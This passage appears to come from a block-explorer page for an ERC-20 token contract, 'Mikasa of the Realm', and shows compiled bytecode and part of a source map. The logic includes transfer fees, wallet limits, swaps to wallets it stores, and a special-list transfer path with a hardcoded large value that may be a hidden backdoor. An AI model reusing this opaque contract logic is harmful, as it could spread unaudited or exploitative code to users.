408083203384529091529020549190610ec0565b610a03565b5060019392505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916107449185906107a79086610eec565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610840610eff565b50600190565b600061074433846107a7856040518060600160405280602581526020016119c7602591393360009081526002602090815260408083206001600160a01b038d1684529091529020549190610ec0565b6000610744338484610ac4565b6000306001600160a01b038416036108fc5760405162461bcd60e51b815260206004820152601b60248201527f43616e206e6f742072656d6f7665206e617469766520746f6b656e00000000006044820152606401610729565b6040516370a0823160e01b81523060048201526000906001600160a01b038516906370a0823190602401602060405180830381865afa158015610943573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061096791906117fa565b9050600060646109778584611829565b6109819190611848565b60065460405163a9059cbb60e01b81526001600160a01b0391821660048201526024810183905291925086169063a9059cbb906044016020604051808303816000875af11580156109d6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109fa919061186a565b95945050505050565b6001600160a01b03831615801590610a2357506001600160a01b03821615155b610a635760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b6044820152606401610729565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03821660009081526003602052604090205460ff16610aeb576000610aee565b60015b60148054911515600160a81b0260ff60a81b19909216919091179055610b1c6000546001600160a01b031690565b6001600160a01b0316826001600160a01b031614158015610b4857506001600160a01b03821661dead14155b8015610b5d57506001600160a01b0382163014155b8015610b7457506001600160a01b03821661dead14155b8015610b8e57506014546001600160a01b03838116911614155b8015610ba857506000546001600160a01b03848116911614155b15610c18576001600160a01b038216600090815260016020526040902054600f54610bd3838361188c565b1115610c165760405162461bcd60e51b815260206004820152601260248201527127bb32b9103bb0b63632ba103634b6b4ba1760711b6044820152606401610729565b505b6000546001600160a01b03848116911614801590610c4157506001600160a01b03821661dead14155b8015610c5857506001600160a01b03831661dead14155b8015610c6d57506001600160a01b0383163014155b15610cc457601154811115610cc45760405162461bcd60e51b815260206004820152601760248201527f4f766572207472616e73616374696f6e206c696d69742e0000000000000000006044820152606401610729565b6001600160a01b03831615801590610ce457506001600160a01b03821615155b610d285760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b6044820152606401610729565b60008111610d865760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b6064820152608401610729565b60085460ff61010082048116911610801590610dac5750601454600160a01b900460ff16155b8015610dc657506014546001600160a01b03848116911614155b8015610ddb5750601454600160b01b900460ff165b15610e145730600090815260016020526040902054601154811115610dff57506011545b6008805460ff19169055610e1281610f1b565b505b6001600160a01b0383166000908152600460205260408120546001919060ff1680610e5757506001600160a01b03841660009081526004602052604090205460ff165b15610e655760009150610eac565b6014546001600160a01b0390811690861603610e7f575060015b6008805460ff16906000610e92836118a4565b91906101000a81548160ff021916908360ff160217905550505b610eb985858585856110c4565b5050505050565b60008184841115610ee45760405162461bcd60e51b815260040161072991906116a1565b505050900390565b6000610ef8828461188c565b9392505050565b30600090815260016020526040902054610f1881610f1b565b50565b6014805460ff60a01b1916600160a01b179055600d54600090606490610f419084611829565b610f4b9190611848565b905080600754610f5b91906118c3565b60075561dead60005260016020527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d54610f9690829061188c565b60016020527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d553060009081526040902054610fd39082906118c3565b30600090815260016020526040812091909155600b54606490610ff69085611829565b6110009190611848565b905060006064600c54856110149190611829565b61101e9190611848565b905060006064600e54866110329190611829565b61103c9190611848565b905060008161104b848661188c565b611055919061188c565b601454909150600160b81b900460ff161561108a576007543060009081526001602052604090205461108791906118c3565b90505b61109381611511565b60055447906110ab906001600160a01b03168261166b565b50506014805463ff0000ff60a01b191690555050505050565b816112cd57601454600160a81b900460ff161561120557601454600090600160a81b900460ff166110f6576001611102565b69021e19e0c9bab24000005b6001600160a01b03871660009081526001602052604090205469ffffffffffffffffffff9190911691506111379085906118c3565b6001600160a01b03808816600090815260016020526040808220939093556014805460ff60a81b191690559087168152205461117490859061188c565b6001600160a01b0386166000908152600160205260408082209290925530815220546111a190829061188c565b3060009081526001602052604090819020919091556014805460ff60b81b1916600160b81b179055516001600160a01b0386811691908816906000805160206119a7833981519152906111f79088815260200190565b60405180910390a350610eb9565b6001600160a01b0385166000908152600160205260409020546112299084906118c3565b6001600160a01b03808716600090815260016020526040808220939093559086168152205461125990849061188c565b6001600160a01b0380861660008181526001602052604090819020939093559151908716906000805160206119a78339815191529061129b9087815260200190565b60405180910390a361deac196001600160a01b038516016112c857826007546112c491906118c3565b6007555b610eb9565b80156113f15760006064600954856112e59190611829565b6112ef9190611848565b905060006112fd82866118c3565b6001600160a01b0388166000908152600160205260409020549091506113249086906118c3565b6001600160a01b03808916600090815260016020526040808220939093559088168152205461135490829061188c565b6001600160a01b03871660009081526001602052604080822092909255308152205461138190839061188c565b3060009081526001602090815260409182902092909255518281526001600160a01b0388811692908a16916000805160206119a7833981519152910160405180910390a361deac196001600160a01b038716016113ea57806007546113e691906118c3565b6007555b5050610eb9565b60006064600a54856114039190611829565b61140d9190611848565b9050600061141b82866118c3565b6001600160a01b0388166000908152600160205260409020549091506114429086906118c3565b6001600160a01b03808916600090815260016020526040808220939093559088168152205461147290829061188c565b6001600160a01b03871660009081526001602052604080822092909255308152205461149f90839061188c565b3060009081526001602090815260409182902092909255518281526001600160a01b0388811692908a16916000805160206119a7833981519152910160405180910390a361deac196001600160a01b03871601611508578060075461150491906118c3565b6007555b50505050505050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611546576115466118da565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561159f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115c391906118f0565b816001815181106115d6576115d66118da565b6001600160a01b0392831660209182029290920101526013546115fc9130911684610a03565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac9479061163590859060009086903090429060040161190d565b600060405180830381600087803b15801561164f57600080fd5b505af1158015611663573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015610732573d6000803e3d6000fd5b600060208083528351808285015260005b818110156116ce578581018301518582016040015282016116b2565b818111156116e0576000604083870101525b50601f01601f1916929092016040019392505050565b60008060006060848603121561170b57600080fd5b505081359360208301359350604090920135919050565b6001600160a01b0381168114610f1857600080fd5b6000806040838503121561174a57600080fd5b823561175581611722565b946020939093013593505050565b60008060006060848603121561177857600080fd5b833561178381611722565b9250602084013561179381611722565b929592945050506040919091013590565b6000602082840312156117b657600080fd5b8135610ef881611722565b600080604083850312156117d457600080fd5b82356117df81611722565b915060208301356117ef81611722565b809150509250929050565b60006020828403121561180c57600080fd5b5051919050565b634e487b7160e01b600052601160045260246000fd5b600081600019048311821515161561184357611843611813565b500290565b60008261186557634e487b7160e01b600052601260045260246000fd5b500490565b60006020828403121561187c57600080fd5b81518015158114610ef857600080fd5b6000821982111561189f5761189f611813565b500190565b600060ff821660ff81036118ba576118ba611813565b60010192915050565b6000828210156118d5576118d5611813565b500390565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561190257600080fd5b8151610ef881611722565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561195d5784516001600160a01b031683529383019391830191600101611938565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220cab9728b7cb41925d2227087f5f4ba8abf05474d009c29063b4389280ca0b79f64736f6c634300080d0033
Deployed Bytecode
0x6080604052600436106102135760003560e01c8063751039fc11610118578063a457c2d7116100a0578063b43665e21161006f578063b43665e21461062d578063dafd18e91461064d578063dd62ed3e1461066d578063f0684c68146106b3578063fcf84b411461050957600080fd5b8063a457c2d7146105a7578063a9059cbb146105c7578063ab628193146105e7578063b1cb15821461061757600080fd5b8063805c0e0f116100e7578063805c0e0f146105095780638da5cb5b1461051f57806395d89b411461053d578063960ee2f5146105705780639d708aef1461058657600080fd5b8063751039fc14610498578063768dc710146104ad57806378109e54146104dd5780637d1db4a5146104f357600080fd5b8063313ce5671161019b5780634a74bb021161016a5780634a74bb021461040057806355b1c11614610421578063603176251461043757806370a082311461044d578063715018a61461048357600080fd5b8063313ce5671461038e57806339509351146103aa5780633f70a495146103ca57806349bd5a5e146103e057600080fd5b80631694505e116101e25780631694505e146102e057806318160ddd1461031857806321dbd9eb14610337578063220f66961461034d57806323b872dd1461036e57600080fd5b806306fdde031461021f578063087332141461026d578063095ea7b31461028f578063119dd786146102bf57600080fd5b3661021a57005b600080fd5b34801561022b57600080fd5b506040805180820190915260138152724d696b617361206f6620746865205265616c6d60681b60208201525b60405161026491906116a1565b60405180910390f35b34801561027957600080fd5b5061028d6102883660046116f6565b6106d3565b005b34801561029b57600080fd5b506102af6102aa366004611737565b610737565b6040519015158152602001610264565b3480156102cb57600080fd5b506014546102af90600160b81b900460ff1681565b3480156102ec57600080fd5b50601354610300906001600160a01b031681565b6040516001600160a01b039091168152602001610264565b34801561032457600080fd5b506007545b604051908152602001610264565b34801561034357600080fd5b50610329600d5481565b34801561035957600080fd5b506014546102af90600160a01b900460ff1681565b34801561037a57600080fd5b506102af610389366004611763565b61074d565b34801561039a57600080fd5b5060405160098152602001610264565b3480156103b657600080fd5b506102af6103c5366004611737565b6107b6565b3480156103d657600080fd5b5061032960095481565b3480156103ec57600080fd5b50601454610300906001600160a01b031681565b34801561040c57600080fd5b506014546102af90600160b01b900460ff1681565b34801561042d57600080fd5b50610329600e5481565b34801561044357600080fd5b50610329600b5481565b34801561045957600080fd5b506103296104683660046117a4565b6001600160a01b031660009081526001602052604090205490565b34801561048f57600080fd5b5061028d6107ec565b3480156104a457600080fd5b506102af610836565b3480156104b957600080fd5b506102af6104c83660046117a4565b60046020526000908152604090205460ff1681565b3480156104e957600080fd5b50610329600f5481565b3480156104ff57600080fd5b5061032960115481565b34801561051557600080fd5b5061030061dead81565b34801561052b57600080fd5b506000546001600160a01b0316610300565b34801561054957600080fd5b5060408051808201909152600a81526902bb2a926b4b5b0b9b0960b51b6020820152610257565b34801561057c57600080fd5b50610329600c5481565b34801561059257600080fd5b506014546102af90600160a81b900460ff1681565b3480156105b357600080fd5b506102af6105c2366004611737565b610846565b3480156105d357600080fd5b506102af6105e2366004611737565b610895565b3480156105f357600080fd5b506102af6106023660046117a4565b60036020526000908152604090205460ff1681565b34801561062357600080fd5b50610329600a5481565b34801561063957600080fd5b50600554610300906001600160a01b031681565b34801561065957600080fd5b506102af610668366004611737565b6108a2565b34801561067957600080fd5b506103296106883660046117c1565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156106bf57600080fd5b50600654610300906001600160a01b031681565b6000546001600160a01b031633146107325760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b505050565b6000610744338484610a03565b50600192915050565b600061075a848484610ac4565b6107ac84336107a78560405180606001604052806028815260200161197f602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610ec0565b610a03565b5060019392505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916107449185906107a79086610eec565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610840610eff565b50600190565b600061074433846107a7856040518060600160405280602581526020016119c7602591393360009081526002602090815260408083206001600160a01b038d1684529091529020549190610ec0565b6000610744338484610ac4565b6000306001600160a01b038416036108fc5760405162461bcd60e51b815260206004820152601b60248201527f43616e206e6f742072656d6f7665206e617469766520746f6b656e00000000006044820152606401610729565b6040516370a0823160e01b81523060048201526000906001600160a01b038516906370a0823190602401602060405180830381865afa158015610943573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061096791906117fa565b9050600060646109778584611829565b6109819190611848565b60065460405163a9059cbb60e01b81526001600160a01b0391821660048201526024810183905291925086169063a9059cbb906044016020604051808303816000875af11580156109d6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109fa919061186a565b95945050505050565b6001600160a01b03831615801590610a2357506001600160a01b03821615155b610a635760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b6044820152606401610729565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03821660009081526003602052604090205460ff16610aeb576000610aee565b60015b60148054911515600160a81b0260ff60a81b19909216919091179055610b1c6000546001600160a01b031690565b6001600160a01b0316826001600160a01b031614158015610b4857506001600160a01b03821661dead14155b8015610b5d57506001600160a01b0382163014155b8015610b7457506001600160a01b03821661dead14155b8015610b8e57506014546001600160a01b03838116911614155b8015610ba857506000546001600160a01b03848116911614155b15610c18576001600160a01b038216600090815260016020526040902054600f54610bd3838361188c565b1115610c165760405162461bcd60e51b815260206004820152601260248201527127bb32b9103bb0b63632ba103634b6b4ba1760711b6044820152606401610729565b505b6000546001600160a01b03848116911614801590610c4157506001600160a01b03821661dead14155b8015610c5857506001600160a01b03831661dead14155b8015610c6d57506001600160a01b0383163014155b15610cc457601154811115610cc45760405162461bcd60e51b815260206004820152601760248201527f4f766572207472616e73616374696f6e206c696d69742e0000000000000000006044820152606401610729565b6001600160a01b03831615801590610ce457506001600160a01b03821615155b610d285760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b6044820152606401610729565b60008111610d865760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b6064820152608401610729565b60085460ff61010082048116911610801590610dac5750601454600160a01b900460ff16155b8015610dc657506014546001600160a01b03848116911614155b8015610ddb5750601454600160b01b900460ff165b15610e145730600090815260016020526040902054601154811115610dff57506011545b6008805460ff19169055610e1281610f1b565b505b6001600160a01b0383166000908152600460205260408120546001919060ff1680610e5757506001600160a01b03841660009081526004602052604090205460ff165b15610e655760009150610eac565b6014546001600160a01b0390811690861603610e7f575060015b6008805460ff16906000610e92836118a4565b91906101000a81548160ff021916908360ff160217905550505b610eb985858585856110c4565b5050505050565b60008184841115610ee45760405162461bcd60e51b815260040161072991906116a1565b505050900390565b6000610ef8828461188c565b9392505050565b30600090815260016020526040902054610f1881610f1b565b50565b6014805460ff60a01b1916600160a01b179055600d54600090606490610f419084611829565b610f4b9190611848565b905080600754610f5b91906118c3565b60075561dead60005260016020527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d54610f9690829061188c565b60016020527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d553060009081526040902054610fd39082906118c3565b30600090815260016020526040812091909155600b54606490610ff69085611829565b6110009190611848565b905060006064600c54856110149190611829565b61101e9190611848565b905060006064600e54866110329190611829565b61103c9190611848565b905060008161104b848661188c565b611055919061188c565b601454909150600160b81b900460ff161561108a576007543060009081526001602052604090205461108791906118c3565b90505b61109381611511565b60055447906110ab906001600160a01b03168261166b565b50506014805463ff0000ff60a01b191690555050505050565b816112cd57601454600160a81b900460ff161561120557601454600090600160a81b900460ff166110f6576001611102565b69021e19e0c9bab24000005b6001600160a01b03871660009081526001602052604090205469ffffffffffffffffffff9190911691506111379085906118c3565b6001600160a01b03808816600090815260016020526040808220939093556014805460ff60a81b191690559087168152205461117490859061188c565b6001600160a01b0386166000908152600160205260408082209290925530815220546111a190829061188c565b3060009081526001602052604090819020919091556014805460ff60b81b1916600160b81b179055516001600160a01b0386811691908816906000805160206119a7833981519152906111f79088815260200190565b60405180910390a350610eb9565b6001600160a01b0385166000908152600160205260409020546112299084906118c3565b6001600160a01b03808716600090815260016020526040808220939093559086168152205461125990849061188c565b6001600160a01b0380861660008181526001602052604090819020939093559151908716906000805160206119a78339815191529061129b9087815260200190565b60405180910390a361deac196001600160a01b038516016112c857826007546112c491906118c3565b6007555b610eb9565b80156113f15760006064600954856112e59190611829565b6112ef9190611848565b905060006112fd82866118c3565b6001600160a01b0388166000908152600160205260409020549091506113249086906118c3565b6001600160a01b03808916600090815260016020526040808220939093559088168152205461135490829061188c565b6001600160a01b03871660009081526001602052604080822092909255308152205461138190839061188c565b3060009081526001602090815260409182902092909255518281526001600160a01b0388811692908a16916000805160206119a7833981519152910160405180910390a361deac196001600160a01b038716016113ea57806007546113e691906118c3565b6007555b5050610eb9565b60006064600a54856114039190611829565b61140d9190611848565b9050600061141b82866118c3565b6001600160a01b0388166000908152600160205260409020549091506114429086906118c3565b6001600160a01b03808916600090815260016020526040808220939093559088168152205461147290829061188c565b6001600160a01b03871660009081526001602052604080822092909255308152205461149f90839061188c565b3060009081526001602090815260409182902092909255518281526001600160a01b0388811692908a16916000805160206119a7833981519152910160405180910390a361deac196001600160a01b03871601611508578060075461150491906118c3565b6007555b50505050505050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611546576115466118da565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561159f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115c391906118f0565b816001815181106115d6576115d66118da565b6001600160a01b0392831660209182029290920101526013546115fc9130911684610a03565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac9479061163590859060009086903090429060040161190d565b600060405180830381600087803b15801561164f57600080fd5b505af1158015611663573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015610732573d6000803e3d6000fd5b600060208083528351808285015260005b818110156116ce578581018301518582016040015282016116b2565b818111156116e0576000604083870101525b50601f01601f1916929092016040019392505050565b60008060006060848603121561170b57600080fd5b505081359360208301359350604090920135919050565b6001600160a01b0381168114610f1857600080fd5b6000806040838503121561174a57600080fd5b823561175581611722565b946020939093013593505050565b60008060006060848603121561177857600080fd5b833561178381611722565b9250602084013561179381611722565b929592945050506040919091013590565b6000602082840312156117b657600080fd5b8135610ef881611722565b600080604083850312156117d457600080fd5b82356117df81611722565b915060208301356117ef81611722565b809150509250929050565b60006020828403121561180c57600080fd5b5051919050565b634e487b7160e01b600052601160045260246000fd5b600081600019048311821515161561184357611843611813565b500290565b60008261186557634e487b7160e01b600052601260045260246000fd5b500490565b60006020828403121561187c57600080fd5b81518015158114610ef857600080fd5b6000821982111561189f5761189f611813565b500190565b600060ff821660ff81036118ba576118ba611813565b60010192915050565b6000828210156118d5576118d5611813565b500390565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561190257600080fd5b8151610ef881611722565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561195d5784516001600160a01b031683529383019391830191600101611938565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220cab9728b7cb41925d2227087f5f4ba8abf05474d009c29063b4389280ca0b79f64736f6c634300080d0033
Deployed Bytecode Sourcemap
13129:12634:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16817:83;;;;;;;;;;-1:-1:-1;16887:5:0;;;;;;;;;;;;-1:-1:-1;;;16887:5:0;;;;16817:83;;;;;;;:::i;:::-;;;;;;;;18943:134;;;;;;;;;;-1:-1:-1;18943:134:0;;;;;:::i;:::-;;:::i;:::-;;17660:161;;;;;;;;;;-1:-1:-1;17660:161:0;;;;;:::i;:::-;;:::i;:::-;;;1558:14:1;;1551:22;1533:41;;1521:2;1506:18;17660:161:0;1393:187:1;15540:35:0;;;;;;;;;;-1:-1:-1;15540:35:0;;;;-1:-1:-1;;;15540:35:0;;;;;;15328:41;;;;;;;;;;-1:-1:-1;15328:41:0;;;;-1:-1:-1;;;;;15328:41:0;;;;;;-1:-1:-1;;;;;1776:32:1;;;1758:51;;1746:2;1731:18;15328:41:0;1585:230:1;17094:95:0;;;;;;;;;;-1:-1:-1;17174:7:0;;17094:95;;;1966:25:1;;;1954:2;1939:18;17094:95:0;1820:177:1;14926:31:0;;;;;;;;;;;;;;;;15411:28;;;;;;;;;;-1:-1:-1;15411:28:0;;;;-1:-1:-1;;;15411:28:0;;;;;;18002:313;;;;;;;;;;-1:-1:-1;18002:313:0;;;;;:::i;:::-;;:::i;17003:83::-;;;;;;;;;;-1:-1:-1;17003:83:0;;14501:1;2605:36:1;;2593:2;2578:18;17003:83:0;2463:184:1;18440:218:0;;;;;;;;;;-1:-1:-1;18440:218:0;;;;;:::i;:::-;;:::i;14764:30::-;;;;;;;;;;;;;;;;15376:28;;;;;;;;;;-1:-1:-1;15376:28:0;;;;-1:-1:-1;;;;;15376:28:0;;;15493:40;;;;;;;;;;-1:-1:-1;15493:40:0;;;;-1:-1:-1;;;15493:40:0;;;;;;14964:37;;;;;;;;;;;;;;;;14841;;;;;;;;;;;;;;;;17197:117;;;;;;;;;;-1:-1:-1;17197:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;17290:16:0;17263:7;17290:16;;;:7;:16;;;;;;;17197:117;13595:138;;;;;;;;;;;;;:::i;18323:109::-;;;;;;;;;;;;;:::i;13934:51::-;;;;;;;;;;-1:-1:-1;13934:51:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;15010:52;;;;;;;;;;;;;;;;15135:49;;;;;;;;;;;;;;;;14194:97;;;;;;;;;;;;14248:42;14194:97;;13372:87;;;;;;;;;;-1:-1:-1;13418:7:0;13445:6;-1:-1:-1;;;;;13445:6:0;13372:87;;16908;;;;;;;;;;-1:-1:-1;16980:7:0;;;;;;;;;;;;-1:-1:-1;;;16980:7:0;;;;16908:87;;14885:34;;;;;;;;;;;;;;;;15446:40;;;;;;;;;;-1:-1:-1;15446:40:0;;;;-1:-1:-1;;;15446:40:0;;;;;;18666:269;;;;;;;;;;-1:-1:-1;18666:269:0;;;;;:::i;:::-;;:::i;17322:167::-;;;;;;;;;;-1:-1:-1;17322:167:0;;;;;:::i;:::-;;:::i;13875:52::-;;;;;;;;;;-1:-1:-1;13875:52:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;14801:31;;;;;;;;;;;;;;;;13995:93;;;;;;;;;;-1:-1:-1;13995:93:0;;;;-1:-1:-1;;;;;13995:93:0;;;23308:450;;;;;;;;;;-1:-1:-1;23308:450:0;;;;;:::i;:::-;;:::i;17497:155::-;;;;;;;;;;-1:-1:-1;17497:155:0;;;;;:::i;:::-;-1:-1:-1;;;;;17611:21:0;;;17584:7;17611:21;;;:11;:21;;;;;;;;:33;;;;;;;;;;;;;17497:155;14096:91;;;;;;;;;;-1:-1:-1;14096:91:0;;;;-1:-1:-1;;;;;14096:91:0;;;18943:134;13418:7;13445:6;-1:-1:-1;;;;;13445:6:0;1840:10;13507:23;13499:68;;;;-1:-1:-1;;;13499:68:0;;3931:2:1;13499:68:0;;;3913:21:1;;;3950:18;;;3943:30;4009:34;3989:18;;;3982:62;4061:18;;13499:68:0;;;;;;;;;18943:134;;;:::o;17660:161::-;17735:4;17752:39;1840:10;17775:7;17784:6;17752:8;:39::i;:::-;-1:-1:-1;17809:4:0;17660:161;;;;:::o;18002:313::-;18100:4;18117:36;18127:6;18135:9;18146:6;18117:9;:36::i;:::-;18164:121;18173:6;1840:10;18195:89;18233:6;18195:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;18195:19:0;;;;;;:11;:19;;;;;;;;1840:10;18195:33;;;;;;;;;;:37;:89::i;:::-;18164:8;:121::i;:::-;-1:-1:-1;18303:4:0;18002:313;;;;;:::o;18440:218::-;1840:10;18528:4;18577:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;18577:34:0;;;;;;;;;;18528:4;;18545:83;;18568:7;;18577:50;;18616:10;18577:38;:50::i;13595:138::-;13692:1;13676:6;;13655:40;;-1:-1:-1;;;;;13676:6:0;;;;13655:40;;13692:1;;13655:40;13723:1;13706:19;;-1:-1:-1;;;;;;13706:19:0;;;13595:138::o;18323:109::-;18372:4;18389:13;:11;:13::i;:::-;-1:-1:-1;18420:4:0;;18323:109::o;18666:269::-;18759:4;18776:129;1840:10;18799:7;18808:96;18847:15;18808:96;;;;;;;;;;;;;;;;;1840:10;18808:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;18808:34:0;;;;;;;;;;;;:38;:96::i;17322:167::-;17400:4;17417:42;1840:10;17441:9;17452:6;17417:9;:42::i;23308:450::-;23410:10;23472:4;-1:-1:-1;;;;;23440:37:0;;;23432:77;;;;-1:-1:-1;;;23432:77:0;;4292:2:1;23432:77:0;;;4274:21:1;4331:2;4311:18;;;4304:30;4370:29;4350:18;;;4343:57;4417:18;;23432:77:0;4090:351:1;23432:77:0;23542:53;;-1:-1:-1;;;23542:53:0;;23589:4;23542:53;;;1758:51:1;23520:19:0;;-1:-1:-1;;;;;23542:38:0;;;;;1731:18:1;;23542:53:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;23520:75;-1:-1:-1;23606:20:0;23659:3;23629:29;23641:17;23520:75;23629:29;:::i;:::-;:33;;;;:::i;:::-;23719:14;;23681:67;;-1:-1:-1;;;23681:67:0;;-1:-1:-1;;;;;23719:14:0;;;23681:67;;;5344:51:1;5411:18;;;5404:34;;;23606:56:0;;-1:-1:-1;23681:37:0;;;;;5317:18:1;;23681:67:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;23673:75;23308:450;-1:-1:-1;;;;;23308:450:0:o;19232:290::-;-1:-1:-1;;;;;19333:22:0;;;;;;:50;;-1:-1:-1;;;;;;19359:24:0;;;;19333:50;19325:80;;;;-1:-1:-1;;;19325:80:0;;5933:2:1;19325:80:0;;;5915:21:1;5972:2;5952:18;;;5945:30;-1:-1:-1;;;5991:18:1;;;5984:47;6048:18;;19325:80:0;5731:341:1;19325:80:0;-1:-1:-1;;;;;19416:21:0;;;;;;;:11;:21;;;;;;;;:33;;;;;;;;;;;;;:42;;;19474:38;;1966:25:1;;;19474:38:0;;1939:18:1;19474:38:0;;;;;;;19232:290;;;:::o;19530:1737::-;-1:-1:-1;;;;;19667:23:0;;;;;;:19;:23;;;;;;;;:38;;19700:5;19667:38;;;19693:4;19667:38;19644:20;:61;;;;;-1:-1:-1;;;19644:61:0;-1:-1:-1;;;;19644:61:0;;;;;;;;;19728:7;13418;13445:6;-1:-1:-1;;;;;13445:6:0;;13372:87;19728:7;-1:-1:-1;;;;;19722:13:0;:2;-1:-1:-1;;;;;19722:13:0;;;:47;;;;-1:-1:-1;;;;;;19752:17:0;;14248:42;19752:17;;19722:47;:83;;;;-1:-1:-1;;;;;;19786:19:0;;19800:4;19786:19;;19722:83;:122;;;;-1:-1:-1;;;;;;19822:22:0;;14358:42;19822:22;;19722:122;:158;;;;-1:-1:-1;19867:13:0;;-1:-1:-1;;;;;19861:19:0;;;19867:13;;19861:19;;19722:158;:190;;;;-1:-1:-1;13418:7:0;13445:6;-1:-1:-1;;;;;19897:15:0;;;13445:6;;19897:15;;19722:190;19718:331;;;-1:-1:-1;;;;;17290:16:0;;19928:18;17290:16;;;:7;:16;;;;;;20010:15;;19986:19;19999:6;17290:16;19986:19;:::i;:::-;19985:40;;19977:70;;;;-1:-1:-1;;;19977:70:0;;6412:2:1;19977:70:0;;;6394:21:1;6451:2;6431:18;;;6424:30;-1:-1:-1;;;6470:18:1;;;6463:48;6528:18;;19977:70:0;6210:342:1;19977:70:0;19913:136;19718:331;13418:7;13445:6;-1:-1:-1;;;;;20065:15:0;;;13445:6;;20065:15;;;;:51;;-1:-1:-1;;;;;;20094:22:0;;14358:42;20094:22;;20065:51;:88;;;;-1:-1:-1;;;;;;20129:24:0;;14358:42;20129:24;;20065:88;:122;;;;-1:-1:-1;;;;;;20166:21:0;;20182:4;20166:21;;20065:122;20061:212;;;20221:12;;20211:6;:22;;20203:58;;;;-1:-1:-1;;;20203:58:0;;6759:2:1;20203:58:0;;;6741:21:1;6798:2;6778:18;;;6771:30;6837:25;6817:18;;;6810:53;6880:18;;20203:58:0;6557:347:1;20203:58:0;-1:-1:-1;;;;;20293:18:0;;;;;;:38;;-1:-1:-1;;;;;;20315:16:0;;;;20293:38;20285:72;;;;-1:-1:-1;;;20285:72:0;;7111:2:1;20285:72:0;;;7093:21:1;7150:2;7130:18;;;7123:30;-1:-1:-1;;;7169:18:1;;;7162:51;7230:18;;20285:72:0;6909:345:1;20285:72:0;20385:1;20376:6;:10;20368:60;;;;-1:-1:-1;;;20368:60:0;;7461:2:1;20368:60:0;;;7443:21:1;7500:2;